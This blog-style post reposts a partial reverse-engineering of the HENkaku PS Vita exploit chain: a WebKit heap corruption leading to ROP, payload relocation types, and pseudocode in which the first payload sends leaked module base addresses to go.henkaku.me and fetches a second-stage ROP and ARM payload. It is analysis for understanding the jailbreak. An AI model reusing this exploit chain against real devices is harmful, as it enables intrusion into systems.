The HENkaku exploit partially reverse engineered and explained
Reverse engineering HENkaku could lead to easier ways to create clones, and host the result on several sites. This would reduce problems such as this morning’s event where the official HENkaku site was taken down by a simple “attack”.
However, reverse engineering HENkaku might also help Sony patch the vulnerability sooner. I think the reverse engineering effort at this point is mostly for the intellectual challenge, as I would expect team molecule to ultimately release their source code, probably after Sony release a firmware update to patch the exploit. Let’s just call this my gut feeling.
I’m copy/pasting the explanation from “H” below, as pastebin stuff tends to be somewhat temporary. Please note that I have replaced urls with the old .xyz extension to the new official site url. Also note that several parts of the explanation at this point are slightly vague and probably assuming the reader is already trying to reverse engineer the code themselves, and looking for pointers.
User H states that the exploit is close to be fully reversed.
Stage 1 (browser exploit):
Visiting http://henkaku.me and pressing the “Install” button results in a server side useragent check.
If the browser’s useragent matches the one of a PS Vita/PSTV on the latest firmware version (3.60), the user is redirected to http://go.henkaku.me and an exploit is deployed.
This exploit re-uses elements from the older public exploits (heap spraying method, sort() bug, scrollLeft attribute manipulation) and pairs them with a new heap corruption technique.
Team molecule renamed variables and methods to provide a simple obfuscation layer on the HTML code.
You can find the partially reversed code (focusing on the most crucial portions) here: http://pastebin.com/bYA4xGaQ
Similarly to older exploits, this allows to corrupt an object’s vtable and achieve ROP inside the SceWebkit module.
Team molecule implemented a dynamic method to relocate gadgets and functions’ offsets for each module after their base addresses’ are found (by looking at SceWebkit’s import stubs).
Stage 2 (ROP payload 1):
At this stage, the browser exploit has layed out the memory space to start the first ROP payload which is reconstructed from the payload.js file.
The payload.js file contains two arrays, one containing the payload’s binary data and another containing the relocation type for each word.
By crossing this information the exploit reads the payload and relocates all code offsets to their target module’s address space by adding the module’s base address to them:
Relocation type 0 -> Plain data stored inside the ROP space itself. No relocation needed. Relocation type 1 -> Offset inside the ROP payload's stack. Relocation type 2 -> Offset inside the SceWebkit module. Relocation type 3 -> Offset inside the SceLibKernel module. Relocation type 4 -> Offset inside the SceLibc module. Relocation type 5 -> Offset inside the SceLibHttp module. Relocation type 6 -> Offset inside the SceNet(?) module. Relocation type 7 -> Offset inside the SceDriverUser(?) module.
This payload is responsible for taking care of a few things like:
// Do stuff ... // Create a new thread for the second payload int thread_id = sceKernelCreateThread("st2", SceWebkit_base + 0x000054C8, 0x10000100, 0x00600000, 0x00000000, 0x00000000, 0x00000000); // Do stuff ... // Construct the arguments for fetching the second payload strcpy(stack_base + 0x000000BC, "http://go.henkaku.me/x"); snprintf(stack_base + 0x000002C4, 0x00000100, "?a1=%x", stack_base); strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4); snprintf(stack_base + 0x000002C4, 0x00000100, "&a2=%x&a3=%x&a4=%x&", SceWebkit_base, SceLibKernel_base, SceLibc_base); strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4); snprintf(stack_base + 0x000002C4, 0x00000100, "&a5=%x&a6=%x&a7=%x&", SceLibHttp_base, SceNet_base, SceDriverUser_base); strcpy(stack_base + 0x000000BC, stack_base + 0x000002C4); // Do stuff ... // Send HTTP requests to fetch the second payload SceLibHttp_92fd(0x00010000); int http_buf = SceLibHttp_947b("ldr", 0x00000002, 0x00000001); SceLibHttp_950b(http_buf, stack_base + 0x000000BC, 0x00000000); int http_req = SceLibHttp_95ff(http_buf, 0x00000000, stack_base + 0x000000BC); SceLibHttp_9935(http_req, 0x00000000, 0x00000000); SceLibHttp_9983(http_req); // Do stuff ...
After the first payload is done, an HTTP request is sent to the server using the following template:
The “x” script on the server side collects the base addresses for each module and generates a second payload to be run on the Vita.
Stage 3 (ROP payload 2):
The second payload is composed by another ROP chain and obfuscated ARM code.
A preliminary analysis of this payload reveals a few interesting things:
strcpy(stack_base + 0x000086B4, "sdstor0:"); strcpy(stack_base + 0x000086CC, "xmc-lp-ign-userext"); // Do stuff ... strcpy(stack_base + 0x000086E4, "molecule0:"); SceLibKernel_a4ad("molecule0:"); SceLibKernel_a55d("sdstor0:", 0x00000005, "xmc-lp-ign-userext", 0x00000014); // Do stuff ... int thread1_id = sceKernelCreateThread("pln", SceWebkit_base + 0x000054C8, 0x10000100, 0x00002000, 0x00000000, 0x000003FF, 0x00000000); SceLibKernel_a791(thread1_id, 0x7C); // Do stuff ... int thread2_id = sceKernelCreateThread("mhm", SceWebkit_base + 0x000054C8, 0x10000100, 0x00002000, 0x00000000, 0x00000000, 0x00000000); // Do stuff ... SceNet_27E1("x", 0x00000002, 0x00000001); SceNet_27E1("x", 0x00000002, 0x00000001); SceNet_27E1("x", 0x00000002, 0x00000001); SceNet_27E1("x", 0x00000002, 0x00000001); SceNet_27E1("x", 0x00000002, 0x00000001); // Do stuff ... SceNet_27E1("sss", 0x00000002, 0x00000001); SceNet_27E1("tst", 0x00000002, 0x00000007); SceNet_27E1("tmp", 0x00000002, 0x00000001); // Do stuff ...
To be continued…